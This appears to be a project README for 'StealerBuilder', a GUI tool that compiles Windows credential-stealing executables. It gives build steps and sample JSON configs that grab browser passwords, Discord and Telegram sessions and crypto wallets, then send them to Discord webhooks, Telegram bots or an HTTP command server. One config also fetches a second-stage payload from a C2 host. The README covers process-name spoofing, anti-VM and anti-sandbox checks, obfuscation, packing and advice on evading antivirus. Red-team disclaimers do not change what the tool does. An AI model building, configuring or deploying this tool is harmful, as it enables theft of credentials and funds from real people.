Build powerful Windows stealers with advanced anti-detection capabilities
Professional-grade malware builder for red team operations and penetration testing
🔴 CRITICAL NOTICE: This software is designed exclusively for legal, authorized security testing purposes.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
🐧 Ubuntu/Debian
# Update package list
sudo apt-get update
# Install Qt6 and build tools
sudo apt-get install -y \
build-essential \
cmake \
qt6-base-dev \
qt6-base-dev-tools
# Install MinGW for cross-compilation
sudo apt-get install -y mingw-w64
# [Optional] Install UPX for executable packing
sudo apt-get install -y upx-ucl🎩 Fedora/RHEL/CentOS
# Install Qt6 and build tools
sudo dnf install -y \
gcc-c++ \
cmake \
qt6-qtbase-devel
# Install MinGW for cross-compilation
sudo dnf install -y \
mingw64-gcc \
mingw64-gcc-c++
# [Optional] Install UPX for executable packing
sudo dnf install -y upx🏔️ Arch Linux
# Install Qt6 and build tools
sudo pacman -S \
base-devel \
cmake \
qt6-base
# Install MinGW for cross-compilation
sudo pacman -S mingw-w64-gcc
# [Optional] Install UPX for executable packing
sudo pacman -S upx🪟 Windows
Required:
-
CMake (3.16+)
- Download from cmake.org/download
- Add to PATH during installation
-
Qt6
- Download installer from qt.io/download-qt-installer
- Select Qt 6.x for your compiler during installation
-
C++ Compiler (choose one):
- Visual Studio 2019+
- Install "Desktop development with C++" workload
- Download from visualstudio.microsoft.com
- MinGW-w64
- Download from mingw-w64.org
- Add to PATH
- Visual Studio 2019+
Optional: 4. UPX (for packing)
- Download from upx.github.io
- Extract and add to PATH
The automated build scripts handle everything including font downloads:
# Ubuntu/Debian
sudo apt-get install build-essential cmake qt6-base-dev mingw-w64
# Fedora/RHEL
sudo dnf install gcc-c++ cmake qt6-qtbase-devel mingw64-gcc
# Arch Linux
sudo pacman -S base-devel cmake qt6-base mingw-w64-gccchmod +x build.sh
./build.sh./build/bin/StealerBuilder |
|
The build scripts handle everything automatically:
# One command installation
sudo apt-get update && sudo apt-get install -y \
build-essential cmake qt6-base-dev mingw-w64 upx-ucl
# Build the application
chmod +x build.sh && ./build.sh# Download and install:
# 1. CMake from cmake.org
# 2. Qt6 from qt.io
# 3. Visual Studio 2019+ or MinGW-w64
# Build the application
build.bat |
|
# Simple one-command build
chmod +x build.sh && ./build.sh
# Launch the application
./build/bin/StealerBuilder# Automated build process
build.bat
# Launch the application
build\bin\Release\StealerBuilder.exe |
|
# Launch the application
./build/bin/StealerBuilder
|
Your professional-grade stealer is ready for red team operations! |
|
|
|
{
"grabber": {
"chrome": true,
"firefox": true,
"edge": true,
"discord": true,
"telegram": true
},
"exfiltration": {
"webhook": "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
},
"systemInfo": {
"hwid": true,
"ip": true,
"os": true,
"av": true,
"processes": true
},
"stealth": {
"hideConsole": true,
"processName": "svchost.exe",
"mutex": "Global\\WindowsUpdate"
},
"antiAnalysis": {
"vm": true,
"sandbox": true,
"debug": true
},
"buildOptions": {
"architecture": "x64",
"obfuscate": true,
"upx": true
}
} |
{
"grabber": {
"wallets": ["exodus", "atomic", "electrum", "metamask"],
"chrome": true,
"firefox": true
},
"exfiltration": {
"telegram": {
"token": "YOUR_BOT_TOKEN",
"chatId": "YOUR_CHAT_ID"
}
},
"screenshots": {
"desktop": true
},
"systemInfo": {
"hwid": true,
"ip": true,
"os": true
},
"stealth": {
"hideConsole": true,
"processName": "explorer.exe",
"selfDestruct": true
},
"antiAnalysis": {
"vm": true,
"sandbox": true,
"debug": true,
"sleepEvasion": true
},
"buildOptions": {
"architecture": "x64",
"obfuscate": true,
"upx": true,
"icon": "wallet.ico"
}
} |
{
"downloader": {
"url": "https://c2.example.com/stage2.exe",
"savePath": "%APPDATA%\\Microsoft\\Windows\\update.exe",
"execParams": "--silent --background"
},
"grabber": {
"chrome": true,
"firefox": true,
"edge": true,
"brave": true,
"discord": true,
"telegram": true,
"wallets": ["exodus", "atomic", "electrum", "metamask"]
},
"exfiltration": {
"webhook": "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN",
"http": "https://your-c2-server.com/api/data"
},
"screenshots": {
"desktop": true
},
"systemInfo": {
"hwid": true,
"ip": true,
"os": true,
"av": true,
"processes": true
},
"stealth": {
"hideConsole": true,
"processName": "dwm.exe",
"mutex": "Global\\WindowsShell",
"selfDestruct": false
},
"antiAnalysis": {
"vm": true,
"sandbox": true,
"debug": true,
"sleepEvasion": true
},
"buildOptions": {
"architecture": "x64",
"obfuscate": true,
"upx": true,
"icon": "system.ico"
}
} |
The builder automatically detects and uses MinGW-w64 for cross-compilation on Linux:
| Component | Value |
|---|---|
| Compiler | x86_64-w64-mingw32-g++ (x64) / i686-w64-mingw32-g++ (x86) |
| Output Format | Windows PE executable |
| Linking | Static (no DLL dependencies) |
| Runtime | Statically linked libgcc/libstdc++ |
Since payloads are Windows PE files, testing options:
✅ Recommended: Windows VM (VirtualBox, VMware, QEMU)
- Isolated environment
- Full Windows API support
- Snapshot/rollback capabilities
- Partial Windows API compatibility
- May not work with all features
- Not recommended for production testing
❌ "No compiler found" Error
Cause: Required compiler not installed or not in PATH
Solution:
- Linux: Install MinGW-w64
sudo apt-get install mingw-w64 # Ubuntu/Debian sudo dnf install mingw64-gcc mingw64-gcc-c++ # Fedora sudo pacman -S mingw-w64-gcc # Arch
- Windows: Install Visual Studio 2019+ or MinGW-w64
- Ensure compiler is added to system PATH
- Restart application after installation
🔧 Compilation Errors
Common Issues:
-
Outdated Compiler
- Requires GCC 7+ or MSVC 2019+
- Check version:
g++ --versionorcl /?
-
Missing Windows SDK (Windows only)
- Install Visual Studio with "Desktop development with C++"
- Or install Windows SDK separately
-
UPX Packing Fails
- Try building without UPX first
- Ensure UPX is installed and in PATH
- Check UPX version:
upx --version
Debug Steps:
# Check compiler availability
x86_64-w64-mingw32-g++ --version # Linux
g++ --version # Windows MinGW
cl /? # Windows MSVC
# Try minimal build without extras
# Disable: UPX packing, obfuscation, custom icon🚫 Generated Executable Doesn't Run
Expected Behavior:
⚠️ Antivirus/Windows Defender may flag the executable- This varies based on configuration and evasion settings
Solutions:
-
Antivirus Interference
- Add exclusion in Windows Defender if needed
- Test in isolated VM for controlled testing
- Configure evasion techniques for better stealth
-
Architecture Mismatch
- Verify target system architecture
- x86 executables run on x64 Windows
- x64 executables only run on x64 Windows
-
Missing Dependencies
- Ensure static linking is enabled
- Check build logs for linking errors
Testing Environment:
- Use clean Windows 10/11 VM
- Take snapshot before testing
- Monitor with Process Monitor/Procmon
📤 Exfiltration Not Working
Webhook Issues:
-
Invalid Webhook URL
- Verify URL format:
https://discord.com/api/webhooks/{id}/{token} - Test webhook manually:
curl -X POST <webhook_url> -H "Content-Type: application/json" -d '{"content":"test"}'
- Verify URL format:
-
Network Connectivity
- Check target has internet access
- Verify firewall isn't blocking outbound HTTPS
- Try different exfiltration method (HTTP POST vs Discord vs Telegram)
-
Certificate Issues
- Ensure valid SSL certificate on endpoint
- Use HTTPS (not HTTP) for webhooks
Telegram Bot Issues:
- Verify bot token is valid
- Ensure chat ID is correct (use @userinfobot to get ID)
- Bot must have started conversation with user
🖥️ Qt Application Issues
Application Won't Start:
- Ensure Qt6 is properly installed
- Check LD_LIBRARY_PATH includes Qt libs (Linux)
- Verify all fonts were downloaded successfully
Font Rendering Issues:
- Run font download script manually:
cd fonts && ./download_fonts.sh && cd ..
- Rebuild application after font download
StealerBuilder (GUI)
├── MainWindow: Tabbed configuration interface
├── CompilerManager: Detect and manage compilers
├── StubGenerator: Generate C++ source from config
├── Builder: Invoke compiler with proper flags
└── Config: Load/save JSON configurations
stub.exe (Windows PE)
├── Anti-Analysis: VM/sandbox/debug detection
├── Downloader: URLDownloadToFile + ShellExecute
├── Browser Grabber: SQLite + DPAPI decryption
├── System Info: WinAPI system information
├── Screenshots: GDI+ screen capture
└── Exfiltration: WinHTTP POST to webhook/endpoint
stealer-gui/
├── 📄 CMakeLists.txt # CMake build configuration
├── 📄 README.md # This documentation
├── 📄 ARCHITECTURE.md # Detailed architecture docs
├── 📄 LICENSE # License file
├── 📄 example_config.json # Example configuration
│
├── 🔨 build.sh # Linux build script
├── 🔨 build.bat # Windows build script
├── 📄 resources.qrc # Qt resource file (fonts, icons)
│
├── 📁 src/ # Source code
│ ├── 📄 main.cpp # Application entry point
│ │
│ ├── 📁 ui/ # User interface
│ │ ├── mainwindow.h
│ │ └── mainwindow.cpp # Main window & tabs
│ │
│ ├── 📁 config/ # Configuration
│ │ ├── config.h
│ │ └── config.cpp # JSON serialization
│ │
│ ├── 📁 generator/ # Code generation
│ │ ├── stubgenerator.h
│ │ └── stubgenerator.cpp # C++ stub generation
│ │
│ └── 📁 compiler/ # Compiler management
│ ├── compilermanager.h
│ ├── compilermanager.cpp
│ ├── builder.h
│ └── builder.cpp
│
├── 📁 fonts/ # Embedded fonts
│ ├── download_fonts.sh
│ ├── download_fonts.bat
│ └── *.ttf # Liberation fonts
│
└── 📁 build/ # Build output (generated)
└── bin/
└── StealerBuilder # Compiled executable
| Component | Technology | Purpose |
|---|---|---|
| GUI Framework | Qt 6 | Cross-platform interface |
| Build System | CMake 3.16+ | Build orchestration |
| Language | C++17 | Application logic |
| Serialization | JSON | Configuration storage |
| Target Output | C++/WinAPI | Generated payloads |
Step-by-Step Guide
1. Update Configuration Schema (src/config/config.h)
struct Config {
// Existing fields...
// Add new feature configuration
bool enableNewFeature;
std::string newFeatureSetting;
};2. Add UI Controls (src/ui/mainwindow.cpp)
// In MainWindow constructor or tab creation
QCheckBox* newFeatureCheckbox = new QCheckBox("Enable New Feature");
QLineEdit* newFeatureInput = new QLineEdit();
// Add to layout
layout->addWidget(newFeatureCheckbox);
layout->addWidget(newFeatureInput);
// Connect signals
connect(newFeatureCheckbox, &QCheckBox::stateChanged,
this, &MainWindow::onNewFeatureChanged);3. Implement Code Generation (src/generator/stubgenerator.cpp)
QString StubGenerator::generate(const Config& config) {
QString sourceCode;
// Add includes if needed
if (config.enableNewFeature) {
sourceCode += "#include <new_header.h>\n";
}
// Add implementation
if (config.enableNewFeature) {
sourceCode += R"(
void newFeatureFunction() {
// Feature implementation
}
)";
}
return sourceCode;
}4. Update JSON Serialization (src/config/config.cpp)
// Save
QJsonObject Config::toJson() const {
QJsonObject json;
json["enableNewFeature"] = enableNewFeature;
json["newFeatureSetting"] = QString::fromStdString(newFeatureSetting);
return json;
}
// Load
void Config::fromJson(const QJsonObject& json) {
enableNewFeature = json["enableNewFeature"].toBool();
newFeatureSetting = json["newFeatureSetting"].toString().toStdString();
}5. Rebuild & Test
cd build
cmake --build .
./bin/StealerBuilder # Test your changesThe project uses CMake with the following key features:
- Qt6 Integration: Automatic MOC, UIC, RCC processing
- Resource Embedding: Fonts and icons embedded via
resources.qrc - Cross-Platform: Supports Linux, Windows (MSVC/MinGW)
- Static Linking: Generated payloads have no external dependencies
|
|
This tool generates executables that may be detected by security solutions:
| Security Solution | Detection Method | Likelihood |
|---|---|---|
| Windows Defender | Signature + Behavioral | 🟡 Medium |
| Commercial AV | Signature + Heuristic | 🟡 Medium |
| EDR Systems | Behavioral Analysis | 🟡 Medium |
| Sandboxes | Dynamic Analysis | 🟢 Low-Medium |
| Network IDS/IPS | Traffic Patterns | 🟢 Low |
Note: Detection rates vary based on configuration and target environment. The tool includes evasion techniques but is designed for authorized testing scenarios.
The tool includes various evasion features for red team scenarios:
Included Techniques
-
String Obfuscation
- XOR encoding of sensitive strings
- Runtime decryption
- Effectiveness: Moderate
-
Anti-Debugging
IsDebuggerPresent()checks- Remote debugger detection
- Effectiveness: Moderate
-
Anti-VM Detection
- Registry key checks
- CPUID instruction analysis
- Effectiveness: Good
-
Anti-Sandbox
- Sleep evasion techniques
- Timing checks
- Effectiveness: Moderate
-
Stealth Features
- Hidden console window
- Process name spoofing
- Effectiveness: Good
Note: These techniques are designed for red team engagements and may help bypass basic security controls in controlled testing environments.
We welcome contributions that improve this educational red team tool!
|
|
- Fork the Repository
- Create a Feature Branch
git checkout -b feature/your-feature-name
- Make Your Changes
- Follow existing code style
- Add comments where needed
- Update documentation
- Test Thoroughly
- Build on Linux and Windows (if possible)
- Test generated executables
- Submit Pull Request
- Describe your changes clearly
- Reference any related issues
- Explain testing performed
This project is provided for educational and authorized security testing purposes only.
By using this software, you acknowledge and agree:
- To use it only for legal, authorized purposes
- That you are solely responsible for any misuse
- That the authors assume no liability for damages or illegal use
See LICENSE file for full details.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
THE AUTHORS ARE NOT RESPONSIBLE FOR ANY MISUSE, DAMAGE, OR ILLEGAL ACTIVITY
CAUSED BY THIS PROGRAM.
USE AT YOUR OWN RISK.
| ✅ Authorized Use | ❌ Prohibited Use |
|---|---|
| Penetration testing with written authorization | Unauthorized computer access |
| Red team engagements for clients | Stealing credentials without permission |
| Security research in labs | Deploying on production systems without consent |
| Educational purposes in academic settings | Commercial malware development |
| Testing detection capabilities | Any illegal activity |
- 🎯 MITRE ATT&CK Framework - Adversary tactics and techniques
- 🔒 OWASP Testing Guide - Web application security testing
- 📖 Red Team Field Manual - Red team reference guide
- 🛡️ PTES Technical Guidelines - Penetration testing methodology
- 🔧 Metasploit Framework - Penetration testing framework
- 🐉 Cobalt Strike - Adversary simulation platform
- 📊 Atomic Red Team - Test security controls
- 🔍 Sysinternals Suite - Windows analysis tools
- 🎓 Offensive Security - OSCP, OSEP certifications
- 📺 IppSec YouTube - HackTheBox walkthroughs
- 💻 HackTheBox - Penetration testing labs
- 🚩 TryHackMe - Guided cybersecurity training
| Issue Type | Solution |
|---|---|
| 🔧 Compilation Errors | Check Troubleshooting section |
| 🖥️ Qt/CMake Issues | Verify installation via Prerequisites |
| 🔍 Compiler Detection | Ensure MinGW-w64/MSVC is in PATH |
| 💡 Feature Requests | Open an issue on the repository |
| 🐛 Bug Reports | Open an issue with reproduction steps |
| 🔒 Security Concerns | Report privately to maintainers |
- Issues: Use GitHub Issues for bug reports and feature requests
- Discussions: For questions and general discussion
- Pull Requests: For code contributions
# Clone and build in minutes
git clone https://github.com/your-repo/stealer-gui
cd stealer-gui
chmod +x build.sh && ./build.sh
./build/bin/StealerBuilder
